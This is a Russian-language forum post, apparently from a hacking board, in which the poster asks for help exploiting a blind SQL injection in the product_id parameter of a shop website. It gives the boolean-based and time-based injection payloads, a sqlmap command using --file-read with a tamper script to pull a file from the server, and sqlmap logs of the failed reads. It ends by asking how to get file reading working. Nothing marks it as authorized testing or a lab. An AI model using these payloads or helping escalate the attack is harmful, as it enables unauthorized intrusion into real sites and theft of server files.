простите за столь глупые вопросы
в итоге найдено
Код:
Parameter: product_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: route=product/product&path=1&product_id=1 AND 9533=9533
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: route=product/product&path=1&product_id=1 OR SLEEP(10)
Пытаюсь получить файл.
Код:
sqlmap -u "https://site/index.php?route=product/product&path=1&product_id=1" -p product_id --file-read='/var/www/site/robots.txt' --time-sec 10 --tamper=between
Использую tamper=between
Пробую прочитать через --file-read
.SpoilerTarget" type="button">Spoiler: log
[03:13:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[03:13:37] [INFO] retrieved:
[03:13:45] [WARNING] reflective value(s) found and filtering out
[03:13:47] [WARNING] time-based comparison requires larger statistical model, please wait........................ (done)
[03:14:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[03:15:30] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[03:16:32] [ERROR] invalid character detected. retrying..
[03:19:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[03:19:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
Файл не сохраняется, если добавить --hex (--no-cast)
.SpoilerTarget" type="button">Spoiler: log --hex
[03:27:25] [INFO] retrieved:
[03:27:31] [WARNING] reflective value(s) found and filtering out
[03:27:52] [INFO] retrieved:
[03:27:52] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form
do you want confirmation that the remote file '/var/www/site/robots.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[03:29:05] [INFO] retrieved:
[03:29:05] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
files saved to [1]:
[*] /root/.sqlmap/output/site/files/_var_www_site_robots.txt (size differs from remote file)
[03:29:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
и сохраняется пустой файл.
Проблема в правах или что-то с преобразованием символом нужно шаманить? Есть ли вариант здесь раскрутить на чтение файлов?